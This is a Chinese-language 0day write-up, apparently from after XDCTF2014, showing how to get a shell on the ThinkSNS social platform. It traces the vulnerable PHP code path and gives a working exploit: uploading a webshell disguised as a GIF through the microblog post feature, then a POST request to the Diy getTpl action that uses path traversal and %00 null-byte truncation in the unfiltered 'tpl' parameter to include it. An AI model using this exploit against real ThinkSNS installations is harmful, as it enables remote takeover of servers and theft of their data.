ThinkSNS 前台getshell

XDCTF2014能顺利结束真开心,发0day凑点钱请大家吃个饭~

/apps/page/Lib/Action/DiyAction.class.php 330行:

1
2
3
4
5
6
7
public function getTpl() {
$parseTag = model ( 'ParseTag' );
$tpl = $_REQUEST ['tpl'];
$sign = $_REQUEST ['sign'];
$tagName = $_REQUEST ['tagName'];
echo $parseTag->getTplContent ( $tpl, $tagName, $sign );
}

getTpl函数,直接去了$_REQUEST中的三个变量,传给getTplContent函数,进去看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function getTplContent($tpl, $tagName, $sign) {
if (strpos ( $tpl, 'custom' ) !== false) {
return model ( 'DiyWidget' )->getTemplateByPluginId ( $sign );
} else {
list ( $dir, $file ) = explode ( ':', $tagName );
$file = ucfirst ( $file );

require_once self::$tags [strtolower ( $tagName )];
$this->fileObject = new $file ();
ob_start ();
ob_implicit_flush ( 0 );
include $this->fileObject->getTemplateFile ( $tpl );
$content = ob_get_clean ();
return $content;
}

}

关注这三行:

1
2
3
list ( dir, file ) = explode ( ':', $tagName );
this->fileObject = new file ();
include this->fileObject->getTemplateFile ( tpl );

首先从tagName中取出dir和file,并新建一个file对象。最后调用file对象的getTemplateFile函数,将$tpl传入。最后包含之。

我们看看哪些对象有getTemplateFile方法:

001.jpg

这些都行,我们随便找个进去看看:

比如DiyImage:

1
2
3
4
5
6
7
8
public function getTemplateFile($tpl = "") {
//返回需要渲染的模板
$file = $this->attr ['style'];
if(!empty($tpl)){
$file = $tpl;
}
return dirname(__FILE__).'/DiyImage/'.$file.'.html';
}

实际上最后包含的就是:dirname(__FILE__).'/DiyImage/'.$file.'.html';

所以,我们可以通过%00截断来进行任意文件包含。

Thinksns全局没用转义$_GET/$_POST/$_REQUEST,而是在相应位置调用t()函数过滤。但在这个点,并未对$_REQUEST ['tpl'];进行t()过滤,所以%00没有被转义。

注册登录,发微博处直接传webshell:

002.jpg

http://localhost/thinksns/index.php?app=page&mod=Diy&act=getTpl POST数据:

1
tpl=../../../../../data/upload/2014/1013/14/543b6f21ed721100100.gif%00&tagName=w:DiyImage&sign=

tpl处为webshell地址,使用00截断。需要加个referer,如图:

003.jpg

成功getshell。